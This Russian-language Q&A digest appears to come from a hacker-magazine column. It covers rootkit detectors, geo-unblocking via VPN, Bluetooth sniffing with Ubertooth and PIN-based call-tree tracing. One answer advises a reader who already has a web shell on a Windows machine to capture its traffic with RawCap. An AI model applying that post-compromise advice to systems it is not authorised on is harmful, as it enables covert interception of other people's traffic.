A: Я так понимаю, что речь идет об инструментах для более-менее опытных людей, которым нужны утилиты-помощники, чтобы упростить поиск малвари. В таком случае есть несколько подходящих разработок:
  1. GMER;
  2. RootRepeal;
  3. RkUnhooker.

Эти тулзы примерно похожи: отображают скрытые процессы и сервисы, выводят список скрытых файлов, ключей реестра, драйверов и альтернативных потоков NTFS. Кроме того, осуществляется мониторинг создания процессов, загрузки драйверов и библиотек, использования файлов, изменений реестра, активности TCP/IP-соединений. Определяются перехваты в SSDT/IDT/IRP.
Q: Какой самый простой и бесплатный способ воспользоваться сервисами, которые по умолчанию доступны только жителям США? Например, онлайн-радио Pandora? Понимаю, что очевидным решением является работа через американский IP. Но как? Бесплатные тормозные прокси-серверы (которые, к тому же, возможно установлены на протрояненных компьютерах) — не вариант. Есть ли другие способы?
A: Хороший вариант — создать на территории США свой VPN-сервис.Вариантом более простым, но менее универсальным является использование специальных программ, которые туннелируют твой трафик через свои сервера, тем самым скрывая настоящий IP-адрес.
Среди них есть те, которые предоставляют такую услугу бесплатно — это в том числе Free Hide IP. Программа шароварная, но среди бесплатных возможностей как раз предоставляется работа через американские серверы.
Q: У меня есть веб-шелл к виндовой машине и возможность загрузить файл. Задача — отснифать трафик. При этом по понятным причинам у меня нет возможности устанавливать дополнительные библиотеки вроде WinPcap, а доступ есть только к командной строке.
A: Попробуй RawCap. Исполняемый файл снифера весит всего 17 Кб, при этом для работы не требуется никаких дополнительных DLL-библиотек. В системе только должен быть установлен .NET Framework 2.0. Снифер слушает любые интерфейсы (включая Wi-Fi) и сохраняет дамп в pcap-формате. Но имей в виду, что под Vista и Windows 7 могут возникнуть проблемы из-за особенностей реализации RAW-сокетов.
Q: Я правильно понимаю, что с обычным Bluetooth-адаптером беспроводной эфир просто так не прослушаешь? Просто взять и запустить его в режиме мониторинга (как в случае Wi-Fi картой) не выйдет?
A: Совершенно верно. В отличие от снифинга Wi-Fi, для которого нет проблемы как с софтом, так и с железом, с Bluetooth ситуация непростая. Но ситуация поменялась после выступления Майкла Оссмана на конференции ShmooCon 2011, на которой он представил свой проект Ubertooth. В чем прорыв? Тут все наглядно. До этого момента железо для мониторинга BT-эфира можно было приобрести за суммы, начинающиеся от $1000. Оцени разницу: стоимость изготовления девайса Майкла составляет около $100. Ubertooth One — это дешевый Bluetooth-адаптер для осуществления снифинга BT-эфира. На сайте разработчика лежат подробные инструкции, как собрать такое устройство самому.
По сути, это USB-донгл с возможностью подключения внешней антенны, построенный на процессоре ARM Cortex-M3. Адаптер изначально разработан так, чтобы его можно было перевести в режим promiscuous, в котором возможно пассивно перехватывать данные из Bluetooth-эфира, передаваемые между собой другими девайсами. Причем в качестве программной части можно воспользоваться привычной нам тулзой Kismet.
Q: Ищу инструмент для построения карты исполнения кода Windows приложения в виде дерева вызовов различных процедур.
A: Из последних разработок не могу не отметить пакет инструментов Code Coverage Analysis Tools от небезызвестного Cr4sh’а. Основную задачу по сбору информации выполняет разработанный модуль для инструмента PIN, который использует динамическую рекомпиляцию кода для анализа его исполнения. Получить карту исполнения кода с помощью этих инструментов несложно:
1. Распаковываем архив PIN в произвольную директорию.
2. Копируем Coverager.dll в директорию с файлами PIN.
3. Редактируем сценарий execute_pin.bat так, чтобы переменная среды PINPATH содержала актуальный путь до директории PIN.
4. Далее используем BAT-сценарий для запуска целевого приложения: execute_pin_calls.bat calc.exe
5. После завершения работы исследуемого приложения в текущей директории будет создано некоторое количество текстовых файлов CoverageData.log.<N>, где <N> — порядковый номер потока, который исполнялся в контексте исследуемого приложения. В этих файлах содержится информация о дереве вызовов каждого из потоков, но ее нужно перевести в формат Calltree Profile Format:
python coverage_to_callgraph.py \
<log_fi le_path> <thread_number> [options]

6. После этого мы получим файл Callgrind.out, который можно визуализировать с помощью программы Kcachegrind.

seo & website usability inet html os faq hardware faq memory video cpu hdd mainboard faq printer & scaner modem mobiles

Windows 10 | Registry Windows 10 | Windows7: Общие настройки | Windows7: Реестр | Windows7: Реестр faq | Windows7: Настроки сети | Windows7: Безопасность | Windows7: Брандмауэр | Windows7: Режим совместимости | Windows7: Пароль администратора |  |  |  |  | Память | SDRAM | DDR2 | DDR3 | Quad Band Memory (QBM) | SRAM | FeRAM | Словарь терминов | Video | nVIDIA faq | ATI faq  | Интегрированное видео faq | TV tuners faq | Терминология | Форматы графических файлов | Работа с цифровым видео(faq) | Кодеки faq | DVD faq | DigitalVideo faq | Video faq (Архив) | CPU | HDD & Flash faq | Как уберечь винчестер | HDD faq | Cable faq | SCSI адаптеры & faq | SSD | Mainboard faq | Printer & Scaner | Горячая линия бесплатной юридической консультации | Благотворительность

На главную | Cookie policy | Sitemap

 ©  2004